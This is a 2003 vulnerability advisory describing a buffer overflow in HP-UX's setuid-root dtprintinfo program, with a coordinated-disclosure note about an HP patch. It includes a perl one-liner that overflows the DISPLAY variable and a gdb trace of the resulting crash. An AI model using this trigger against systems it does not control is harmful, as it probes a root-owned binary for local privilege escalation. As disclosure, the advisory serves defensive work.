dtprintinfo.txt

`=======================================================  
HPUX dtprintinfo buffer overflow vulnerability  
=======================================================   
  
Davide Del Vecchio Adv#7   
  
Discovered in: 14/07/2003  
Date: 08/10/2003  
Tested on HP-UX B.11.00   
  
  
Description:   
  
The Print Viewer program provides a graphical interface that displays  
the status of print queues and print jobs.   
  
dante@sofficino :/usr/dt/bin >ls -al /usr/dt/bin/dtprintinfo  
-r-sr-xr-x 1 root bin 471040 Sep 22 2000 dtprintinfo   
  
Exporting the DISPLAY variable with a long argument...   
  
dante@sofficino :/usr/dt/bin >export DISPLAY="`perl -e 'printf "A" x 9777'`"  
dante@sofficino :/usr/dt/bin >/usr/dt/bin/dtprintinfo  
Memory fault   
  
From gdb output we can see:   
  
Program received signal SIGSEGV, Segmentation fault.  
0x7f75fb08 in memcpy () from /usr/lib/libc.2   
  
  
Solution:   
  
I'm in contact with HP's Security staff, especially with John Morris,  
and I would like to thanks him and all his staff for the interest  
demonstrated during this period of research on HP-UX.  
He assured me a patch has been written and an Official Security Bullettin  
will follow my advisory.   
  
Credits:   
  
Davide Del Vecchio would like to thank all the people supporting him  
and his research, his love that never leaves him alone, and obvious,  
the HP-UX security staff, impersonified in this case by John Morris.   
  
  
Disclaimer:   
  
The information within this paper may change without notice. Use of this  
information constitutes acceptance for use in an AS IS condition.  
There are NO warranties with regard to this information. In no event shall  
the author be liable for any damages whatsoever arising out of or in  
connection with the use or spread of this information. Any use of this  
information is at the user's own risk.  
^^^^^^^^   
  
Please send suggestions, updates, and comments to:  
Davide Del Vecchio , Dante Alighieri - dante at alighieri dot org  
www.alighieri.org  
`